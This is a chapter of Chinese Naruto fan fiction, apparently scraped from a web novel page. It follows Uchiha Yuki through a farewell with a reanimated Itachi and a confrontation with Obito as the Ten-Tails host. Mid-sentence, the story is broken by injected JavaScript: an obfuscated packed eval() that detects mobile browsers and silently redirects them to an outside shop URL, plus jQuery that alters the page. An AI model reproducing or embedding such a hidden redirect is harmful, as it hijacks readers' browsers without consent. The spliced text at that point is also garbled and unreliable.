鹿丸知道宇智波雪很强,但没有想到她的实力,已经堪比准影级。这样的战斗力,几乎和纲手大人比拟。不,或许在医疗领域,纲手大人依旧更胜一筹;但在战斗方面,宇智波雪的能力,远非他们这些普通中忍能够估量。
雪手持长弓,由查克拉幻化而成的箭矢如闪电般接连射出,一连贯穿好几个白绝的脑袋。就连那些通过秽土转生之术复活、小有名气的忍者,也都不是她的对手。
在茂密的树林间,队伍主要依靠宁次的感知能力,以及雪那百发百中的箭术推进。看着这一切,鹿丸心里有些郁闷。在如此绝对的实力差距面前,计谋策略似乎根本派不上用场。
“到这里就够了,是叫鹿丸吗?我还有别的事情要做,你们去和你们的队友集合吧。”雪停下脚步,时间紧迫,她必须在带土成为真正的人柱力之前,将其击杀。
“雪前辈是打算脱离木叶单独行动吗?”鹿丸眉头紧锁,上吊的三白眼直直地盯着她,是随时准备施展影束缚的忍术姿势。
雪放下了手中的弓矢,冷静回应:“如果真的想控制住我,卡卡西大可自己来监视我。而不是派本就对我有利的奈良一族......以及日向一族的宁次来吧。”
鹿丸转头看向宁次,宁次神色平静,没有丝毫阻拦雪的打算。
鹿丸长叹一口气,什么监视,不过是卡卡西老师和五代目用来糊弄上头的障眼法罢了。就凭他们两个小角色,怎么可能拦得住宇智波雪。那时候接下任务时,卡卡西老师和五代目的特意嘱咐,现在想来果然和他猜测的一样。
“那么我就先走了,保重。”雪说完,身形一闪,消失在树林之中。
-
夜幕降临后,如墨的夜色里,方向感开始变得模糊不清。
没想到会碰到秽土转生的鼬,雪的声音里带着一丝不太确定。
“小鼬......”
熟悉的声音,如同微风抚过的轻音,穿梭在林间的鼬瞬间停住了脚步。
他缓缓转过身,抬起眼目光落在了眼前的少女身上。
少女身着木叶那标志性的绿色马甲,忍者联军的护额在微弱的月光下闪烁着清冷的光。
“小姨。”
这一声久违的称呼,让雪微微愣住了片刻。
她才如梦初醒般意识到,鼬已经死了。她脸上的表情变得复杂起来,目光落在鼬身上,只见他的衣服有些许破损,身上还残留着鸣人的查克拉气息。看来,被保护在雷之国总部的鸣人已经奔赴战场,并且帮助鼬解开了秽土转生的控制。
眼前的男人,永远停留在了二十一岁那年轻的年纪。本就苍白的肤色,因为秽土转生的缘故,显得更加毫无血色。他身着一袭红色风衣,在夜风中微微飘动,宛如一团燃烧却又即将熄灭的火焰。雪站在树上分叉的枝桠上,静静地凝视着他那双秽土转生的眼睛。
眼白的区域是黑色的,瞳孔倒映着血色的三勾玉。
泥土制成的身体,脸上是有着明显的裂纹。
“要去哪?”她微冷声音在暗色的林间飘散。
本欲离开的鼬,再次停下了脚步。
他转过身,目光与她交汇,“去找兜,解开秽土转生。”
“那样你也会消失!”雪少见地失态了,未经大脑思索的话语脱口而出。等她意识到自己说了什么时,下意识地捂住了自己的额头。爱与恨在她心中交织缠绕,无论爱还是恨,她都不想斩断与鼬之间的联系。
憎恨你,却又理解你;想念你,却又无法释怀。
雪才想起自己,在盛夏闷热的午后,檐下的风铃随风响起,发出清脆悦耳的声响时,她对鼬心动过。
心里的念头居然如此自私,竟然回到了人世。已经死过一次的他,不再是她曾经所憎恨的那个灭族、该死之人。因为宇智波鼬已经死了,现在站在她面前的只是小鼬。可是,只要死过一次,所有的恨就能一笔勾销吗?
雪常常这样想着,在他死后,偶尔在镜中看到自己的容貌时,会瞥见自己与他相似的眼尾,那纤长的下睫毛。在那一闪而过的影像中,仿佛瞥见了他的身影,可眨眼间就消失不见,只剩自己面无表情的容貌。
被人唾弃的禁术,还是有点用......的嘛......
少女失控的表情落入了鼬的眼中,一时之间他有些怔愣。
回过神来,泛着苦意的笑容在嘴角绽开。
“小姨,我已经是个死人了。”夜风中的话语显得像一阵微风。
死人?死人不就应该老老实实地不存于世界之上吗?
为什么还要再次出现在她眼前!?
少女跳下了树,与他面对面站在一起。情绪叠叠递进着,她无法忍受这痛苦的情感。
她猛地抓住了他的衣领,鼬不得不稍微弯下身子,与她平视着。
“不、不是的,你是小鼬啊!”雪的声音带着一丝颤抖,“一定、一定,有着什么样的禁术在解开秽土转生后……能让你活在这个世界上的?”
鼬轻轻地将她拥入怀中,在这一刻,任何一次身体接触所带来的情爱,都抵不过这温暖而带着些泥土气味的拥抱,是秽土转生后身体的味道。雪沉默了,泪水止不住地在眼眶中打转。
“罪孽深重的人,该怎么样存活呢,小姨。”鼬在她耳边轻声说道,声音温柔却又带着一丝无奈,“我只要佐助和你能够在世界上好好活着就足够了。”
说完,他轻轻推开了雪。
明明是如此温柔的人,鼬缓缓伸出手,轻轻摸了摸她的脸。手心传来泪湿的触感,他看到雪那盈满泪水的眼睛,正祈求地注视着他。鼬低下头,轻轻亲吻了她的额间,就像幼时她常对他做的那样,如今,角色却反了过来。
鼬露出一个释然的微笑:“是死过一次的原因吗,像我这样的罪孽深重的人。居然也开始懂得了,要放手。无论是多么强大的人,都不要负担一切,否则失败只是注定的......”
“真是的,这样的事情。怎么到了现在才懂得,要是更早一些。”
“和雪商量着,和佐助坦白些。是不是我们的结局会更好些?”
分别时,鼬将颈间的三勾玉项链放入了雪的手中。
“虽然不知道会不会随着秽土转生后,一起消散。”
“不过,就算是我这样的男人也有着私心。明明对这个世界已经不再眷恋,唯独放不下的除了佐助之外,就是你了。”
“不要忘记我,即使不恨我了。不祈求你深爱我,但让我在你的生命中留下无法抹去的痕迹......我爱着你。”
“虽然还想跟小姨在说些什么,在亲密些。不过,我现在还有不得不做的事情,小姨要和我一起吗?”
“度过最后的一段时光吗?”
望着鼬离去的身影,雪为自己系上了三勾玉的项链。
她想要结束这一切,已经足够了,这样复杂的爱与恨。
太痛苦了。
“不,我要亲手杀死宇智波带土。”
-
夜色完全笼罩了大地,天空中升起一轮圆满的明月。就像九尾之乱那夜,雪恍惚间竟看到白月诡异地显现出血红色,她眼中的写轮眼阵阵发烫。快到极限了吗?雪用力的眨了眨眼,视线重新聚焦,才看清那轮明月,
她的眼睛,在经历鱼水交
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16774395|185349||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
融后,身体融入了些许带土另一半的柱间细胞,但这不足以抵御万花筒写轮眼带来的副作用。狼哭之里的上品药物,已无法阻止她视力的衰退。雪微微皱眉,她没有亲属,不像佐助那样能换上鼬的眼睛,实现百分百适配。
被尾兽玉夷为平地的战场,地理环境几乎完全被破坏,已不成自然之态。
入眼是一片狼藉,以及赶到战场的忍者五个部队全都在场。
月色清冷,风卷起她的发丝,扬向身后。
越接近带土的身影,她的神情便越发凝重。
她看清了成为完美人柱力的带土,被吸收的十尾成为了新的六道仙人。
空中悬挂的那轮皎洁明月,在眨眼间化作了血月,妖冶的氛围笼罩了整片大地。
十只尾兽仿佛被彻底吸入异空间。
在血月之下,光辉泛着青玉色鳞片,静静地漂浮在空中。
他赤裸着上半身,肌肤呈淡青色,与传闻中的六道仙人相似。他光洁宽阔的背后是十枚黑色的勾玉,肩胛骨探出的楞刺上燃烧着幽色的火焰。他一手掰碎了面颊上晶亮的淡青色鳞片,声音清脆,好似玉石破碎之声。
“十尾人柱力?”
“是新的十尾人柱力诞生了?!”
众说纷纭着。
带土不知道该如何说,吸收了十尾后,混乱的意识仿佛要被吞噬,内心的空洞被地狱般的世界挖开,留在心中的只剩下伤痛。他无法抵抗,连珍贵的记忆都要被剥夺。
先是水门老师、再接着是琳,最后是卡卡西......
不、这些,他早就、早已抛弃。
抛弃了一切,唯独无法抛弃的,是那个背影——穿着立领族服的少女,背后突出明显的蝴蝶骨,身形纤细,及腰的墨色长卷发随风飘动。年幼时,他总是需要仰望她的身影,向往着、恋慕着。
记忆深处是,将自己高高捧起。笑的明媚的女孩,是多久以前的事情?
还是幼童的他伸出了小手,轻轻盖在了她的额间。
他咿咿呀呀说着稚语,漂亮的女孩回应道。
【.......喜欢带土!】
带土陷入了意识深处,就这样站在纯白色的空间中。
他旁观着这段记忆,院子中的女孩和幼儿相处融洽,就像普通的姐弟之间。带土有些迷茫。
她、是谁?
时间飞速流逝,场景不停变幻。从冬末屋檐下垂着的冰凌,到屋内为他庆祝生日的温馨场景,又转化成春季葱绿色林间草地上,少女为男孩陪练的身影。微风扬起少女的发丝,挠得男孩脸上痒痒的。最后,场景定格在了立秋时节暴雨倾盆的夜晚,幽暗的石洞,仿佛与世隔绝,少年拥着少女,身体相贴,彼此汲取着对方身上的温度,以维持恒定。
带土。
她笑着唤他。
带土......
她哭着将他拥入怀中,述说失去父母的疼痛......
带土?
她带着少女忧愁问他。
带土!
她微微发怒,眉头轻皱。
你是谁?!
她看陌生人般敌意的眼神,冰冷的声音。
宇智波......?
她疑惑地表情......
鸢、
她的脸上带着潮红,身体交缠着是他不敢妄想的亲密......
宇智波带土!!!
是杀意,赤裸裸充满杀意的眼神。
...
......
..........
“宇智波带土!”
“带土!”